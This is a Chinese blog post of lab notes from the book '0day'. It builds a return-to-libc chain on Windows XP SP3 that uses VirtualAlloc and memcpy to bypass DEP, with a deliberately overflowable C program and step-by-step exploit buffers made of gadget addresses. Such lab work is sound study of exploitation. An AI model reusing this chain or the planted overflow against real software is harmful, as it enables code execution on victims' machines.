0day 第12章--12.3.3 Ret2Libc实战之利用VirtualAlloc

今天药忘吃喽~ 2022-02-22 03:15 248阅读 0赞

**实验环境：**  
Winxp sp3  
VS2010  
**实验配置：**  
禁用优化、关闭GS、关闭safeseh、开启DEP  
![在这里插入图片描述][20190408205721520.png]  
![在这里插入图片描述][20190408205727976.png]  
![在这里插入图片描述][20190408205736945.png]

![在这里插入图片描述][20190408205742573.png]

**思路：当程序需要一段可执行内存时，可以通过kernel32.dll的VirtualAlloc申请一段具有可执行属性的内存。因此可通过利用此函数将shellcode复制到申请的内存空间中，以绕过DEP。**  
如何利用？  
**将返回地址覆盖为VirtualAlloc的地址，参数输入进去即可。**  
VirtualAlloc(  
LPVOID lpAddress, \#申请内存区域的地址，  
SIZE\_T dwSize, \#申请内存的大小  
DWORD flAllocationType, \#申请内存的类型  
DWORD flProtect); \#申请内存的访问控制类型，如读、写、执行等权限

参数设置：  
我们将lpAddress=0x00030000，只要是一个未被占用的地址即可。  
dwSize=0xff，申请的空间足够存放shellcode即可，我们选择255个字节  
flAllocationType=0x00001000，查看MSDN可知这里是……  
flProtext=0x00000040，内存属性设为可读可写可执行。

比较：  
VirtualAlloc与VirtualProtect最大的区别在于VirutalAlloc各个参数不存在动态确定问题，可以直接写到shellcode里边。

实验程序：

#include<stdio.h>
    #include<stdlib.h>
    #include<windows.h>
    #include<string.h>
    char shell[]={ "\x90\x90\x90\x90\x90\x90\x90\x90"};
    
    int test()
    { 
    	printf("OK!");
    	char array[4]={ 0};
    	memcpy(array,shell,sizeof(shell)+1);
    	return 0;
    }
    
    int main()
    { 
    	HMODULE hMod = LoadLibrary(L"shell32.dll");
    	test();
    	return 0;
    }

**第一阶段：利用VirtualAlloc函数申请一段具有执行权限的内存**  
1、找到VirtualAlloc的地址  
OD载入程序，右键查找->所有模块名称中查找，输入VirtualAlloc。发现有很多VirtualAlloc  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70]  
双击这里进入，来到VirtualAllocEx处，发现和书中的函数差不多一致。（其他地方也可以试试，但都不一样。）记下地址0x7C809AF4  
![在这里插入图片描述][20190408205837400.png]

2、修复EBP  
由于EBP被破坏因此首先修复EBP，依然用PUSH ESP POP EBP RETN 4进行修复  
通过OllyFindAddr->Disable DEP-> Disable DEP <=SP3查找。选择0x5D1D8B85  
![在这里插入图片描述][2019040820584590.png]  
验证一下EBP是否修复：  
将shellcode后面添加这个地址进行修改，OD载入运行，通过字符串OK定位到程序处，下断点，F8运行，结束后果然运行到PUSH ESP POP EBP RETN 4指令处，而EBP也变成0x13FF78了。  
![在这里插入图片描述][20190408205852510.png]

3、布局VirtualAlloc  
在shellcode后面再加上VirtualAlloc的地址，OD载入运行程序  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 1]  
发现程序修复完EBP后，直接执行VirtualAlloc。且从0x0013FF80处取参数，因此，我们在shellcode中部署上我们的参数。注意，0x0013FF78与0x0013FF80中间隔了4个字节。此外hProcess我们部署-1表示当前进程。

char shell[]={ "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x85\x8b\x1d\x5d"
    "\xf4\x9a\x80\x7c"
    "\x90\x90\x90\x90"
    "\xff\xff\xff\xff"
    "\x00\x00\x03\x00"
    "\xff\x00\x00\x00"
    "\x00\x10\x00\x00"
    "\x40\x00\x00\x00"};

OD载入，运行到VirutalAlloc下一行，eax=0x30000说明申请内存成功！  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 2]  
单步继续  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 3]  
发现由于pop ebp导致EBP被破坏！  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 4]

**第二阶段：向申请的内存空间中复制shellcode**  
<font=“red”>核心思路：使用memcpy()函数将shellcode复制到这段内存空间。

（1）memcpy(dst,src,size)其中目的内存地址和复制长度都可以直接写在shellcode中。唯一的难点在于内存源地址的确定。实际上我们不需要精确定位，只要保证源内存起始地址在shellcode中关键代码前面即可。因此可以使用PUSH ESP JMP EAX指令来填充这个参数。【不懂！】  
（2）在申请后由于EBP被破坏，而后面我们还会用到EBP因此需要修复EBP  
（3）VirtualAlloc返回时有16个字节的偏移（retn 0x10）  
1、查询push esp jmp eax的值，由于OD找不到，因此使用Immunity Debugger查找0x77ebc6c6  
![在这里插入图片描述][20190408210023366.png]  
将该地址复制给shellcode

char shell[]={ "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x85\x8b\x1d\x5d" // 修复EBP
    "\xf4\x9a\x80\x7c" //VirtualAlloc的地址
    "\x90\x90\x90\x90"
    "\xff\xff\xff\xff" //填充的参数
    "\x00\x00\x03\x00"
    "\xff\x00\x00\x00"
    "\x00\x10\x00\x00"
    "\x40\x00\x00\x00"
    "\x90\x90\x90\x90"
    "\xc6\xc6\xeb\x77" // push esp jmp eax
    };

OD载入运行  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 5]  
接下来执行push esp jmp eax，

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 6]  
接下来就跳转到eax=0x00030000处，异常执行。

接下来需要做两件事：  
（1）填充eax，将shellcode地址部署到eax中  
（2）修复EBP，因为如图发现EBP又被破坏了，后续还会用到EBP，因为查看memcpy源码可知，源内存地址在\[ebp+0xc\]处，因此需要修复EBP

1、填充eax,在eax中部署shellcode即可。  
提问：那么如何获得EAX呢？  
回答：像上次实验一样，用pop eax retn指令获得EAX的值  
依然使用OD插件OllyFindAddr搜索得到pop eax，地址是0x7DA6433C  
![在这里插入图片描述][20190408210149124.png]  
再次修改shellcode，

运行到pop eax retn处  
![在这里插入图片描述][20190408210208987.png]  
发现eax即将得到的值所在的地址与shellcode相差了12个字节。这里我们用0x909090填充。而且我们的eax指向了地址：0x44e7b9dc（这是啥地址？一脸懵逼）我们将其先填充为0x41414141吧。此外，执行完pop eax retn之后，才执行push esp jmp eax吧，因此我们将0x77ebc6c6向下移动。  
因此修改shellcode如下：

OD载入运行，执行完VirtualAlloc则将转到pop eax retn处  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 7]  
单步继续  
![在这里插入图片描述][20190408210241655.png]  
则eax的值即将为0x41414141。单步继续  
![在这里插入图片描述][20190408210248310.png]  
则eax变为0x41414141，而且即将执行push esp pop retn，单步继续  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 8]  
![在这里插入图片描述][20190408210301263.png]  
程序执行0x41414141，程序终止。

2、修复ESP肯定在PUSH ESP JMP EAX之前，因此

OD载入，运行到第二次修复EBP时  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 9]  
接下来继续执行还会出现上述情况，执行PUSH ESP JMP EAX指令，最终跳到0x41414141终止。

**第三阶段**  
memcpy的源码如下：  
![在这里插入图片描述][20190408210336718.png]  
查看一下memcpy的源码，源内存地址为\[ebp+0xc\]，而我们想通过使用PUSH ESP的方式设置内存源地址，因此需要让ESP指向EBP+0x10处，这样执行完PUSH ESP后，值就刚好放到EBP+0xc处了。为了达到这个目的，需要解决两个问题：  
（1）问题：如何让ESP执行EBP+0x10处？  
回答：目前ESP指向EBP处（这里是修复完EBP后），而执行完RETN 0x4之后，ESP执行EBP+0x8处，因此通过POP RETN指令即可达到EBP+0x10处。

（2）问题：PUSH完成后如何收回控制权？  
回答：执行完PUSH操作后收回程序控制权的最佳位置在EBP+0x14处，因为在这个位置执行RETN指令既保证了memcpy参数不被破坏，又可以减少shellcode长度。  
因此在执行完PUSH操作后，我们只需要POP两次就可以让ESP指向EBP+0x14，所以只要让JMP EAX指令中的EAX指向POP POP RETN指令即可。  
接着在EBP+0x14位置处放置memcpy函数的切入点0x7C921DB8，这样执行完POP POP RETN指令就转入memcpy函数中执行复制操作了。

1、OD载入程序，寻找POP RETN指令，0x7DA17E94  
![在这里插入图片描述][20190408210403557.png]  
“\\x41\\x41\\x41\\x41” // eax指?向¨°的Ì?值¦Ì  
“\\x85\\x8b\\x1d\\x5d” // 修T复¡äEBP  
“\\x94\\x7e\\xa1\\x7d” // pop ebx retn  
“\\xc6\\xc6\\xeb\\x77” // push esp jmp eax  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 10]  
由于EBP+0xc 和EBP相差了8个字节，因此，更改shellcode布局如下：

“\\x41\\x41\\x41\\x41” // eax指?向¨°的Ì?值¦Ì  
“\\x85\\x8b\\x1d\\x5d” // 修T复¡äEBP  
“\\x94\\x7e\\xa1\\x7d” // pop ebx retn  
“\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90”  
“\\xc6\\xc6\\xeb\\x77” // push esp jmp eax

OD载入运行，运行到push esp jmp eax停下  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 11]  
则接下来程序从0x13FFC4中取东西进行push 操作，则我们需要在这儿写入memcpy的地址0x7C921DB8  
此时，shellcode如下:

由于程序执行到push esp jmp eax后，会跳到eax，按照刚才的分析，eax应该存放pop pop retn获得程序的控制权。  
![在这里插入图片描述][20190408210446991.png]  
找到Pop pop retn指令的地址，随便选择一个0x7D6713AE  
![在这里插入图片描述][20190408210455586.png]  
将刚才shellcode中0x41414141改为0x7D6713AE，运行程序到pop eax retn处  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 12]  
EAX以变为POP POP RETN的地址了，单步继续运行到POP POP RETN完结处  
![在这里插入图片描述][20190408210507563.png]  
发现程序即将从0x13FFC8执行，因此我们的PUSH ESP JMP EAX指令和memcpy函数的地址中间应该相隔4个字节，我们先用0x41414141填充吧，

则执行到push esp jmp eax时，

![在这里插入图片描述][20190408210515922.png]  
由于memcpy的3个参数分别在ebp+8,ebp+0xc,ebp+0x10处，因此修改shellcode如下：

char shell[]={ "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x85\x8b\x1d\x5d" // 修T复¡äEBP
    "\xf4\x9a\x80\x7c" //VirtualAlloc的Ì?地Ì?址¡¤
    "\x90\x90\x90\x90"
    "\xff\xff\xff\xff" //填¬?充?的Ì?参?数ºy
    "\x00\x00\x03\x00"
    "\xff\x00\x00\x00"
    "\x00\x10\x00\x00"
    "\x40\x00\x00\x00"
    "\x90\x90\x90\x90"
    "\x3c\x43\xa6\x7d" // pop eax retn
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xae\x13\x67\x7d" // eax指向的值
    "\x85\x8b\x1d\x5d" // 修复EBP
    "\x94\x7e\xa1\x7d" // pop ebx retn
    "\x90\x90\x90\x90"
    "\x00\x00\x03\x00" // 可执行空间地址，（memcpy的第1个参数，目标地址）
    "\xc6\xc6\xeb\x77" // push esp jmp eax &原始shellcode地址（memcpy的第2个参数）
    "\xff\x00\x00\x00"  // shellcode长度,（memcpy的第三个参数）
    "\xb8\x1d\x92\x7c" // memcpy地址
    "\x42\x42\x42\x42"// shellcode
    "\x42\x42\x42\x42"
    "\x42\x42\x42\x42"
    "\x42\x42\x42\x42"
    "\x42\x42\x42\x42"
    
    };

但是OD载入，运行到memcpy即将结束时发现程序将转到0x909090处执行，说明0x0013FFB8处存放的是memcpy的返回地址

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 13]  
因此我们将memcpy的返回地址改为0x00030000即可。  
OD重新加载程序，则memcpy运行完后将返回到0x00030000处执行。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 14]  
单步继续  
![在这里插入图片描述][20190408210603493.png]  
发现我们的shellcode从0x00030008处开始执行，因此我们将memcpy的返回地址改为0x00030008即可。  
![在这里插入图片描述][20190408210616340.png]  
成功！

**遇到的坑：  
1、 对memcpy函数的参数时，将可执行内存地址错写成0x00300000，因此在运行到memcpy函数内部一直报错，还找不到原因……  
2、 由于上两篇写的太久了，导致挑选ROP时又忘了，多花了时间……下次果然一件事不要隔太久做。**

[20190408205721520.png]: /images/20220222/4c603c876af94e23ab6ee5fa18ceacce.png
[20190408205727976.png]: /images/20220222/f6c956e2f484457b9a1a709d2536248f.png
[20190408205736945.png]: /images/20220222/60ed307e856d4043887ee8ad73d0c47b.png
[20190408205742573.png]: /images/20220222/abeffcec9abe4ffba4a99734980446dd.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70]: /images/20220222/7773f3a82a5542a5b93b1b4e124a73f2.png
[20190408205837400.png]: /images/20220222/0552cf6d30a1494cb0aab2c8bc15a308.png
[2019040820584590.png]: /images/20220222/edb271737a5f46809df318a976c0c927.png
[20190408205852510.png]: /images/20220222/11c6bd086c524d7ca62320db49ffc83b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 1]: /images/20220222/9a68d1d6c247406f9a7869c94714c398.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 2]: /images/20220222/198cec8c0e784c94a99add2208283e8d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 3]: /images/20220222/3231f97bfeed4463918f4e1956d0eb6a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 4]: /images/20220222/176bcc17334540acbafb2112f397668e.png
[20190408210023366.png]: /images/20220222/8587eb9a6db3437cb78121ae5c2dc570.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 5]: /images/20220222/2931144bd27c412789ad2b2585b82266.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 6]: /images/20220222/aa613b8ff8454819b92be41fa5fa2b2d.png
[20190408210149124.png]: /images/20220222/6b985ffe1a044d45bf7fd1ef08fef8e2.png
[20190408210208987.png]: /images/20220222/db25f3aa0fef4e45b6f7f32c17d866f1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 7]: /images/20220222/8f6104170fe6470abd5c274a8675087d.png
[20190408210241655.png]: /images/20220222/7e2f9347bdb5464c8cb73f910874efe5.png
[20190408210248310.png]: /images/20220222/e1b2806858794516856bd6f6aeb643c9.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 8]: /images/20220222/a1733f16af5048c88d276f0c5e401cd5.png
[20190408210301263.png]: /images/20220222/0168136be93b42cebab94bf7df7d40c5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 9]: /images/20220222/580e6b86e5314cb8ab1f2a45aebfbe39.png
[20190408210336718.png]: /images/20220222/fab842da70c44c08abb7991cfef5e163.png
[20190408210403557.png]: /images/20220222/e6eb0cea15f64e6a89ae07dc79ce26b8.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 10]: /images/20220222/a9d88fb4948247a7a529b5f0fe3eeeca.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 11]: /images/20220222/07ef8b2b477243c1b05ca62bde0df3fb.png
[20190408210446991.png]: /images/20220222/1953a5c73b3748ebbc6105d0c5e05096.png
[20190408210455586.png]: /images/20220222/373fd5a0de714950b845a20e0d2b18ae.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 12]: /images/20220222/5147db1d9157483f94615e7fb0de0c56.png
[20190408210507563.png]: /images/20220222/452c9e5ae7104ce8bee495d31580356c.png
[20190408210515922.png]: /images/20220222/351de48034ff46e78d57d4a2fa7b27b9.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 13]: /images/20220222/c89480e64dd644d99fdeb38b1ebbef74.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 14]: /images/20220222/2d352e254b674d6c89aa7593dfb84ab4.png
[20190408210603493.png]: /images/20220222/7c0f60bffd864331bc39826f71659f64.png
[20190408210616340.png]: /images/20220222/95d3fd939e6b48cf9af955315046b526.png